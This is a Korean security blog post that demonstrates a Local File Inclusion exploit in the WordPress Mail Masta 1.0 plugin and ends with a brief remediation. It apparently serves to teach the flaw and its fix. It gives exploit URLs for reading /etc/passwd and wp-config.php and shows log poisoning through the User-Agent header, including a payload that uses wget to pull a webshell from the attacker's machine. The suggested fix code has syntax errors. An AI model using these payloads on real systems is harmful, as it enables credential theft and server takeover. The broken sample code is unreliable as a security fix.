2017. 5. 8.

[워드 프레스 취약점] mail masta 1.0 플러그인 취약점


1. 개요


LFI 취약점 이란 Local File Inclusion의 약자로 RFI와 상당히 유사한 취약점이다. 원격지에 있는 파일이 대상이 된다면 RFI 취약점이고, 해당 대상 파일이 공격대상 서버에 위치해 위치해 있다면 LFI 취약점이라고 볼 수 있다.

본 포스팅은 워드 프레스의 mail masta 라는 플러그인을 사용 할 경우 발생 할 수 있는 LFI 취약점에 대한 것이다.


wordpress/mail-masta/inc/campaign/count_of_send.php 와 csvexport.php 에서 발생하며 include 시키는 pl 파라미터에서 검증을 하지 않아 취약점이 발생한다.

STEP 1

플러그인에서 mail masta 가 활성화 되어있는 것을 확인한다.

STEP 2

mail masta가 활성화 된 것을 확인 한 후, 파일 다운로드를 시도한다.


xxx.xxx.xxx.xxx/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

위와 같이 파라미터 값에 얻고자 하는 파일 값을 삽입하면 된다.

xxx.xxx.xxx.xxx/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/www/html/wordpress/wp-config.php

위와 같이, php 코드를 출력하려 하지만, LFI 취약점은 html 형태로 출력해주기 때문에 php 코드는 출력되지 않는다. 이를 해결하기 위해 사용하는 것이 wrapper 이다. php 5.0 이상인 경우 wrapper 기능이 추가되었는데, 이 기능을 이용하여 php 파일의 소스 코드 인코딩 값을 출력 할 수 있다.

pl=php://filter/convert.base64-encode/resource=경로(/var/www/html/worpress/wp-config.php)

위와 같이 파라미터에 값을 대입하면 base64 인코딩 된 값이 출력된다.




STEP 3

추가적으로 LFI 취약점을 응용하여 웹쉘을 업로드 할 수 있다.
단, /var/log/apache2/access.log 디렉터리의 의 권한이 751 이 되어야 한다. 즉 other의 실행 권한(x)이 부여되어야 한다. chmod 751 /var/log/apache2 명령어를 이용하여 변경해준다.

xxx.xxx.xxx.xxx/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/log/apache2/access.log

위 url 로 접근하면 HOST, 시간, URL, User-Agent 등의 로그가 출력된다.

이제 프록시 툴을 사용해 access.log 에 접근할 때 요청(GET) 패킷을 가로챈 후에
User-Agent : <?php system('id'); ?> 라고 변경 후 서버에 요청한다. 이후 출력된 로그 결과에서 User-Agent 뒤에 삽입한 명령어의 실행 결과가 출력된 것을 확인 할 수 있다.

STEP 4

동일한 방법으로 공격자 PC에 있는 웹쉘을 wget으로 다운로드하는 명령어를 삽입한다.
User-Agent: <?php system('wget http://xxx.xxx.xxx.xxx/webshell.txt -O shell.php'); ?>

업로드된 webshell.txt 파일은 count_of_send.php 파일이 있는 폴더에 다운로드 되므로, 해당 웹쉘을 실행할 수 있을 것이다.

< 참고>
access.log 외에도 /proc/self/environ 의 User-Agent 값을 변경하는 방법과 PHP Wrapper의 input 기능을 사용할 수도 있다. /proc/self/environ 도 역시 other에 실행권이 부여되어 있어야 한다.

2. 대응방안 

count_of_send.php 파일에 시큐어코딩을 적용하여야 한다.

<? php

$cur_pl=$_get['pl'];
if($cur_pl == "abc.php")
{
include($cur_pl);

}
else
{
?> <script>alert("Not be allwed"); </script>}
}

위와 같이 특정 파일(abc.php) 만 파라미터로 받아 들이고 그 외 파일은 허용하지 않도록 하여야 한다. 또한 access.log의 other 권한에 실행권한(x)을 부여하지 않도록 한다.

Popular Posts

Recent Posts

Powered by Blogger.